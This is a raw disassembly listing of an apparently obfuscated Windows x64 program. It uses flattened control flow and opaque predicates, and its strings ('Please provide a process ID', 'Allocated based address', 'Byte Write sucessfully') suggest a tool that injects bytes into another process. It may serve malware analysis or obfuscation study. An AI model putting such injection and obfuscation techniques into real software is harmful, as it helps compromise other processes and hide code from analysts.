setge bl
setl cl
mov eax, ecx
and al, dl
xor cl, r8b
and bl, r8b
xor bl, cl
xor bl, al
mov eax, 0xfd14d14e
mov ebx, 0x9e7b6559
cmovne eax, ebx
test cl, cl
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0xc065557f
je 0x1400112c3
cmp eax, 0xc085712d
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa055f818
mov ecx, 0x224a30d6
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x3be00b54
je 0x140011325
cmp eax, 0x3c6e5b96
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd6703fa2
mov ecx, 0x1fe9ac19
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xfec1db07
je 0x14001132f
cmp eax, 0xfee0354a
jne 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl cl
mov ebx, ecx
xor bl, r8b
mov r9d, ebx
xor r9b, 1
and al, cl
or al, r9b
xor al, bl
mov ebx, eax
not bl
and dl, r8b
or dl, bl
and cl, r8b
xor dl, cl
test dl, 1
mov edx, 0x28f645d1
mov ebx, 0x386c07b
cmovne edx, ebx
test cl, cl
mov ecx, edx
cmovne ecx, ebx
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x140001070
cmp eax, 0x41270be8
jne 0x14001135a
mov eax, 0x7954a0c6
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov ebx, 0x7278ee4c
mov edi, 0x9f8185d9
cmove ebx, edi
sete r8b
cmp ecx, 0xa
mov eax, 0x7278ee4c
cmovge ebx, eax
setl al
xor al, r8b
cmovne ebx, edi
cmp ecx, 0xa
mov eax, ebx
cmovl eax, edi
test dl, 1
cmove eax, ebx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, ebx
xor cl, 1
or al, dl
or dl, dil
and dl, cl
xor dl, al
xor dl, bl
mov eax, 0x5bee7bcb
mov ecx, 0x36c3db17
cmovne eax, ecx
jmp 0x140001070
mov ecx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
cmp edi, 0xa
setl bl
xor cl, bl
mov eax, edx
and al, bl
xor al, cl
xor al, 1
cmp edi, 0xa
movzx eax, al
movzx ecx, cl
cmovge eax, ecx
test edx, edx
cmove eax, ecx
test al, al
mov eax, 0xc3a7c1df
mov ebx, 0x2346e09a
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4a5d7a79
mov ecx, 0xed4ca5d6
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfe3dc3dc
mov ecx, 0x1ca2a82f
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2955efff
mov ecx, 0x252b186
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.Please_provide_a_process_ID__n
call fcn.140011390
add rsp, 0x20
mov eax, 0x805f6a7f
jmp 0x140001070
mov eax, 0x83424805
jmp 0x140001070
mov edx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete r8b
cmp edi, 0xa
setge bl
setl al
mov edx, esi
or dl, al
xor al, r8b
and bl, r8b
xor bl, al
mov ecx, edx
and cl, al
mov r8d, edx
or r8b, bl
xor r8b, cl
mov ecx, ebx
xor cl, 1
movzx ecx, cl
movzx eax, al
test dl, dl
cmove eax, ecx
mov ecx, edx
xor cl, bl
xor cl, 1
xor dl, 1
and dl, bl
or dl, cl
xor al, 1
and al, dl
mov ecx, r8d
not cl
and cl, al
xor al, r8b
xor al, cl
test al, 1
mov eax, 0xe5c0eefb
mov ecx, 0x1dd38039
cmovne eax, ecx
test esi, esi
mov ecx, eax
mov edx, 0xe5c0eefb
cmove ecx, edx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe5bfba6a
mov ecx, 0xa8b2a36a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9c14d30f
mov ecx, 0x598193dc
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov rdx, qword [rbp]
sub rsp, 0x20
lea rcx, str.____Allocated_based_address_is_0x_p_n
call fcn.140011390
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x414d75ef
mov ecx, 0x46ea5828
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140035ab4], 0xa
setge r8b
setl dl
mov ebx, edx
and cl, dl
and dl, al
xor bl, al
and r8b, al
xor cl, bl
xor cl, r8b
or cl, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, bl
test cl, 1
mov eax, 0xc2f21e82
mov ecx, 0x71dd1229
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x115011c2
mov ecx, 0x9fd1f03a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x3d8c7b62
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl dl
mov eax, edx
xor al, r8b
or cl, dl
mov ebx, eax
xor bl, 1
and bl, cl
or dl, r8b
xor dl, bl
xor dl, al
mov eax, 0xb90062af
mov ecx, 0x689dcfde
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
or cl, bl
xor bl, r8b
and bl, cl
and dl, r8b
xor dl, al
xor dl, bl
mov eax, 0x67feccee
mov ecx, 0x669f13c
cmovne eax, ecx
jmp 0x140001070
mov eax, 0x64b45b8
jmp 0x140001070
mov edx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete dl
cmp edi, 0xa
setl bl
xor dl, bl
mov r8d, ebx
and r8b, sil
or bl, sil
and bl, dl
mov eax, ebx
xor al, 1
xor dl, bl
mov ecx, r8d
xor cl, dl
and cl, al
xor dl, 1
and dl, r8b
xor cl, dl
mov eax, 0x67057468
mov r8d, 0x4ce43a0b
cmovne eax, r8d
test bl, bl
mov ecx, 0x4ce43a0b
cmovne ecx, eax
test dl, dl
cmove ecx, eax
cmp edi, 0xa
mov eax, ecx
cmovl eax, r8d
test esi, esi
cmovne eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 8]
mov eax, 0x2b1af402
jmp 0x140001070
mov eax, 0xd529b6ce
jmp 0x140001070
mov eax, 0x719bfca8
jmp 0x140001070
mov eax, 0x8c7156e0
jmp 0x140001070
mov eax, 0x578825e1
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcdd3aa1
mov ecx, 0xc060ba38
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5ce94d95
mov ecx, 0x916c6b88
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov ecx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp edi, 0xa
setge r9b
setl al
mov ecx, edx
and cl, al
xor al, r8b
mov ebx, eax
xor bl, 1
or cl, bl
xor cl, al
and r9b, r8b
mov eax, r9d
xor al, cl
mov eax, 0xdbdf9a9
mov ebx, 0x11ff3498
cmovne eax, ebx
test cl, cl
mov ebx, 0xdbdf9a9
cmove eax, ebx
test r9b, r9b
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, 0x1c9a3587
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x24c8e17b
mov ecx, 0xfa3ee835
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xc4cbb90
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x3cb6cf70
mov ecx, 0x2b7ecca7
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov eax, edx
xor al, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
or dl, r8b
xor dl, cl
xor dl, al
mov eax, 0x63b402e7
mov ecx, 0x65f8fd8
cmovne eax, ecx
jmp 0x140001070
mov eax, 0xd44a9fd
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe389ec3d
mov ecx, 0xa453930d
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov edx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete dl
cmp edi, 0xa
setl r8b
setge cl
or cl, dl
xor dl, r8b
mov ebx, esi
and bl, r8b
xor bl, dl
mov r8d, ecx
xor r8b, bl
mov eax, ecx
xor al, 1
or al, bl
and al, r8b
and dl, cl
or bl, cl
xor bl, dl
mov ecx, eax
xor cl, bl
not bl
and bl, al
xor bl, cl
test bl, 1
mov eax, 0xfb5049e0
mov ecx, 0x6225d539
cmovne eax, ecx
test esi, esi
mov ecx, eax
mov edx, 0xfb5049e0
cmove ecx, edx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, r8b
mov eax, ebx
xor al, 1
or dl, r8b
or cl, r8b
and cl, al
xor cl, dl
xor cl, bl
mov eax, 0x32f6d328
mov ecx, 0x919aefe7
cmovne eax, ecx
jmp 0x140001070
mov eax, 0xa4922049
jmp 0x140001070
mov eax, 0xeb3ebce
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
setge dl
or dl, al
mov ebx, ecx
xor bl, dl
xor cl, al
xor dl, al
mov eax, 0x9f30c1b0
mov edx, 0x6c1e44cc
cmovne eax, edx
test bl, bl
mov edx, 0x9f30c1b0
cmove eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140001070
mov rcx, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x381
lea rdx, section..rdata
call fcn.140015e20
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, al
or cl, al
mov eax, edx
xor al, 1
or al, bl
and al, cl
xor al, dl
xor cl, al
mov ecx, 0xefd1ccb4
mov edx, 0xd1989985
cmovne ecx, edx
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, edx
or al, cl
xor cl, r8b
or bl, r8b
xor cl, 1
or cl, bl
xor al, cl
mov eax, 0x81959faf
mov ebx, 0xf25ad0b7
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, 0x38c73465
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf9c52a02
mov ecx, 0x3a678d11
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f684ceb
mov ecx, 0xe7d2255e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
mov eax, 0x8d40fce8
mov esi, 0x5a2527ec
cmove eax, esi
sete r9b
cmp edi, 0xa
mov ecx, 0x8d40fce8
cmovl eax, ecx
setl r8b
xor r9b, r8b
mov ebx, r9d
xor bl, 1
mov ecx, edx
and cl, r8b
or cl, bl
xor cl, r9b
cmove eax, esi
test edx, edx
mov ecx, eax
cmove ecx, esi
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfaf64dd2
mov ecx, 0xd5355ee8
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x48a13020
mov ecx, 0x1196b48a
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x48a13020
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5e98e102
mov ecx, 0xeeaae474
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc636874b
mov ecx, 0x341f8bc2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xe52e5a87
jmp 0x140001070
mov eax, 0xae26525a
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x7b21781e
mov ecx, 0x4bcb6c55
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
mov eax, 0x964137e2
jmp 0x140001070
mov eax, 0x6e44af45
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
sete r8b
cmp edi, 0xa
setl cl
mov edx, ecx
xor dl, r8b
mov r9d, edx
xor r9b, 1
mov ebx, ecx
and bl, sil
or bl, r9b
or cl, sil
and cl, dl
mov eax, ebx
xor al, 1
and al, cl
xor cl, bl
xor cl, al
mov eax, 0xf404a2b4
mov r9d, 0xb60120b6
cmovne eax, r9d
test esi, esi
mov ecx, 0xf404a2b4
cmove ecx, eax
cmp edi, 0xa
setge bl
cmovl ecx, eax
mov eax, r8d
and al, bl
xor al, dl
or r8b, bl
and dl, r8b
xor dl, al
test al, al
mov eax, ecx
cmovne eax, r9d
test r8b, r8b
cmove eax, ecx
test dl, dl
cmovne eax, r9d
jmp 0x140001070
mov edx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov edx, esi
and dl, cl
xor cl, r8b
and bl, r8b
xor bl, cl
xor dl, cl
or dl, bl
mov ebx, ecx
xor bl, dl
xor bl, 1
xor dl, 1
and dl, cl
or dl, bl
xor dl, cl
mov eax, edx
not al
not cl
and cl, bl
or cl, al
xor cl, dl
test cl, 1
mov ecx, 0x67feccee
mov edx, 0x6e44af45
cmovne ecx, edx
test esi, esi
mov eax, ecx
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x780f5cfc
mov ecx, 0xe3f1a7b4
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbf29ce8d
mov ecx, 0x1bc00105
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xed3997f6
mov ecx, 0xf3a9d63e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfaf64dd2
mov ecx, 0xb4066c9e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x8eb03a1d
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6e131106
mov ecx, 0xd3f16a98
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x6e131106
cmovl eax, ecx
jmp 0x140001070
mov ecx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp edi, 0xa
setge r9b
setl al
mov ecx, edx
and cl, al
xor al, r8b
mov ebx, eax
xor bl, 1
or cl, bl
xor cl, al
and r9b, r8b
mov eax, r9d
xor al, cl
mov eax, 0x16aa6ca2
mov ebx, 0xbedd53a3
cmovne eax, ebx
test cl, cl
mov ecx, 0x16aa6ca2
cmovne ecx, eax
test r9b, r9b
cmove ecx, eax
test edx, edx
mov eax, ecx
mov edx, 0x16aa6ca2
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3e27ce3c
mov ecx, 0xb42f43eb
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp byte [rbp - 0x13], 0
mov eax, 0xfb554e40
mov ecx, 0xf1973ab6
cmovne eax, ecx
jmp 0x140001070
mov eax, 0x92be2d60
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x43cb2bce
mov ecx, 0xbcdc5223
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x52378b69
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2e9ba80a
mov ecx, 0x71e0c158
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x2e9ba80a
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x467025b9
mov ecx, 0x9cd59bea
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xa9b0b482
jmp 0x140001070
mov eax, 0x125d144a
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, ecx
and al, dl
xor cl, r8b
or bl, r8b
and bl, cl
xor bl, al
xor cl, bl
mov eax, 0x9f545f72
mov esi, 0xe2b43bca
cmovne eax, esi
test bl, bl
cmovne eax, esi
test edx, edx
mov ecx, eax
cmove ecx, esi
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
mov eax, 0xa6c763e1
mov ebx, 0x6be6f123
cmovne eax, ebx
test dl, dl
cmovne eax, ebx
test cl, cl
cmovne eax, ebx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b65fa06
mov ecx, 0x25a811d8
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 8]
mov eax, 0xed39b150
jmp 0x140001070
mov eax, 0x605af1c6
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd06fc7d5
mov ecx, 0x22386fde
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl r9b
mov ebx, r9d
xor bl, r8b
mov eax, r8d
or al, cl
and al, bl
mov edx, ebx
xor dl, 1
and cl, r8b
or cl, dl
mov edx, ecx
xor dl, al
xor cl, 1
and cl, al
xor cl, dl
or r9b, r8b
xor r9b, bl
mov eax, 0xe552d129
mov edx, 0x40d432d
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x140001070
mov eax, 0xecc0fc01
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
xor cl, r8b
mov eax, ecx
xor al, 1
and bl, r8b
or bl, al
xor bl, cl
mov eax, 0x60d9f304
mov ecx, 0xccea3803
cmovne eax, ecx
test dl, 1
mov ecx, 0x60d9f304
cmove ecx, eax
cmp edi, 0xa
cmovge ecx, eax
test dl, 1
mov eax, ecx
mov edx, 0x60d9f304
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, 0xd0f61692
jmp 0x140001070
mov eax, 0x898acd74
jmp 0x140001070
mov eax, 0x5653e286
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x493aa070
mov ecx, 0xac88f452
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x493aa070
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x592525c5
mov ecx, 0xa7594196
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xcd117160
jmp 0x140001070
mov eax, 0x390
call fcn.140014cd0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x20], rax
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
mov eax, 0xa0aded88
mov ebx, 0x21636985
cmove eax, ebx
cmp dword [0x140035ab4], 0xa
cmovl eax, ebx
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x140001070
mov rax, qword [rbp - 0x10]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd0c8b7a1
mov ecx, 0x88e28689
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, r8b
mov eax, edx
or al, cl
and al, bl
and cl, dl
xor cl, bl
or cl, al
and dl, r8b
xor dl, cl
mov eax, 0x3afed939
mov ecx, 0xcbf04620
cmovne eax, ecx
jmp 0x140001070
mov rdx, qword [rbp]
sub rsp, 0x20
lea rcx, str.____Allocated_based_address_is_0x_p_n
call fcn.140011390
add rsp, 0x20
mov eax, 0x26d528a9
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf0079245
mov ecx, 0xa7cc30a9
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x2a782b8c
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f684ceb
mov ecx, 0xde8212ac
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68e83933
mov ecx, 0xd80e1d46
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2dade428
mov ecx, 0x2fa24a57
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xd7abdeb2
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xda4f7b79
mov ecx, 0xd04b5e1f
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.___Byte_Write_sucessfully__n
call fcn.140011390
add rsp, 0x20
mov eax, 0x8500ef57
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x87090345
mov ebx, 0x9c50fe66
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd302915f
mov ecx, 0xea89fe04
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x4838a86
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d0df8e6
mov ecx, 0x840e972c
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe9d03871
mov ecx, 0xd9627bc5
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xe9d03871
cmovl eax, ecx
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.___Byte_Write_sucessfully__n
call fcn.140011390
add rsp, 0x20
mov eax, 0x916c6b88
jmp 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov ecx, ebx
xor cl, r8b
and dl, r8b
xor dl, cl
and al, bl
xor al, cl
or al, dl
or al, cl
xor al, 1
and bl, r8b
mov ecx, ebx
xor cl, al
mov edx, ebx
not dl
and dl, al
xor dl, cl
or bl, al
xor cl, bl
not bl
or bl, cl
xor bl, dl
test bl, 1
mov eax, 0x6721bc38
mov ecx, 0x489eac6d
cmovne eax, ecx
jmp 0x140001070
mov eax, 0xe77b0355
jmp 0x140001070
